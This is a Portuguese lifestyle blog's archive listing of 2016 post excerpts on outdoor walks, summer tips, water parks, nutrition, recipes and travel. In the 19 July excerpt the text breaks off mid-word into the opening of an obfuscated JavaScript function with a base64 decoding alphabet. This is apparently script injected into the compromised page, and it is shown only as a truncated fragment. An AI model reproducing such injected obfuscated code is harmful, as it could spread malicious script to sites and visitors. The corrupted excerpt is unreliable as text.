Jul 22, 2016 | À descoberta, Dicas úteis
As caminhadas ao ar livre fazem tão bem ao corpo como à mente. Respirar o ar puro e contemplar as paisagens refrescantes que o nosso país nos oferece é algo que gosto muito de fazer. Aproveito para refletir, passo atrás de passo, e colocar as ideias em ordem...
Jul 19, 2016 | À descoberta, Dicas úteis
Verão é sinónimo de calor. E apesar de saber bem o quentinho, às vezes qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 16, 2016 | Apanhados na rede, Olha que giro
Fique a conhecer alguns dos parques aquáticos mais incríveis do mundo, onde não faltam escorregas submersos, descidas a pique e slides gigantes! O verão muitas vezes pede emoções fortes: alegria, adrenalina e diversão… Tudo a que temos direito para um dia em...
Jul 6, 2016 | Equilíbrio, Saúde e bem estar
Frutos e vegetais que ajudam a manter a pele bronzeada Sabia que, se consumirmos determinados alimentos, estes nos vão ajudar a ter um bronzeado lindo e muito mais duradouro? Pois é, para além de deliciosos, estes frutos e vegetais podem ser os nossos melhores amigos...
Jul 5, 2016 | Equilíbrio, Saúde e bem estar
por Ágata Roquette, Nutricionista A água é o principal componente do nosso organismo e normalmente representa 60% do peso corporal nos homens adultos e cerca de 50-55% nas mulheres. Mas, além de ser essencial à própria vida, a água é também um requisito fundamental...
Jul 4, 2016 | Apanhados na rede, Olha que giro
Os mais fantásticos pores do sol de Portugal Passamos a vida sempre a correr, com pouco tempo para parar e simplesmente olhar à nossa volta e vermos como é maravilhoso o nosso país. E se há uma altura do dia em que qualquer paisagem fica ainda mais bonita, é sem...
Jul 2, 2016 | À descoberta, Receitas
2 saladas de verão por Luísa Fortes da Cunha Salada de atum com ovo cozido, rúcula, alface, tomate, pepino, manjericão Ingredientes 6 Folhas de alface em pedaços 3 Ovos cozidos cortados 2-3 Latas de atum 2 Tomates Rúcula a gosto 1 Pepino cortado às rodelas Folhas de...
Jun 28, 2016 | À descoberta, Receitas
Gelado de morango e iogurte 0% gordura por Luísa Fortes da Cunha Ingredientes 6-8 Morangos congelados 4-6 Colheres de sopa de iogurte 0% gordura Amêndoas para polvilhar Açaí como topping Preparação Muito fácil: basta juntar o iogurte aos morangos, triturar tudo e...
Jun 23, 2016 | À descoberta, Dicas úteis
Os pareos (ou cangas) são um acessório obrigatório para as mulheres no verão. Além de práticos, são super versáteis. Tanto pode estendê-los na praia a fazer de toalha, como enrolá-los à volta do corpo para ir ao bar ou mesmo fazer bolsas de praia com eles. Veja só de...
Mai 30, 2016 | Apanhados na rede, Olha que giro
Aproxima-se o verão e a vontade de viajar, é ou não é? É inevitável, damos por nós a imaginarmo-nos num sítio lindo, onde o tempo passa devagar e as preocupações ficam todas para trás. É certo que Portugal é um país lindo. Um país que é limitado em termos geográficos...
